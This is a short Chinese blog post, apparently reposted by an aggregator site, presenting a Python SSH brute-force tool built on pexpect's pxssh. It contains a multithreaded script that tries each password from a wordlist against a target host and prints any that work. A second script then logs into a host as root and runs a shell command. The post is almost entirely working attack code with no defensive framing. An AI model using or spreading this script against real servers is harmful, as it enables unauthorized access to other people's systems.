Python脚本--爆破SSH

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python脚本--爆破SSH相关的知识,希望对你有一定的参考价值。

利用Pxssh是pexpect库的ssh专用脚本

环境:kali

代码:

‘‘‘
Author:yw
‘‘‘
from pexpect import pxssh
import optparse
from threading import *

Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)

def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print("[+]Password Found:"+password)
        Found = True
    except Exception as e:
        pass
def main():
    parser = optparse.OptionParser(‘usage %prog -H <target host> -f <passwd file> -u <username>‘)
    parser.add_option(‘-H‘, dest=‘host‘, type=‘string‘, help=‘target host‘)
    parser.add_option(‘-f‘, dest=‘passwdfile‘,type=‘string‘, help=‘passwofile‘)
    parser.add_option(‘-u‘, dest=‘user‘, type=‘string‘, help=‘login username‘)
    (options,args) = parser.parse_args()
    host = options.host
    passwdfile = options.passwdfile
    user = options.user
    if host==None or passwdfile==None or user==None:
        print(parser.usage)
        exit(0)
    mn = open(passwdfile,‘r‘)
    lines = mn.readlines()
    for line in lines:
        with connection_lock:
            password = line.strip(‘\n‘)
            print(‘[-] Test:‘+str(password))
            t = Thread(target=connect,args=(host, user, password))
            t.start()
if __name__ == ‘__main__‘:
    main()

执行结果:
技术图片

爆破成功后(远程执行上述命令)

代码:

‘‘‘
Author:yw
‘‘‘
from pexpect import pxssh
def send_shell(s,shell):
    s.sendline(shell)
    s.prompt()
    print s.before
def connect(host,user,password):
    try:
        s=pxssh.pxssh()
        s.login(host,user,password)
        return s
    except:
        print("[-] Error Connecting")
        exit(0)
s=connect(‘127.0.0.1‘,‘root‘,‘toor‘)
send_shell(s,‘uname -a‘)

技术图片

以上是关于Python脚本--爆破SSH的主要内容,如果未能解决你的问题,请参考以下文章

python爆破zip脚本

ssh爆破(python脚本)

Python FTP多线程爆破脚本

Python脚本--爆破SSH

python批量爆破后台目录脚本

python ssh弱口令爆破多线程脚本及遇到的一些错误与问题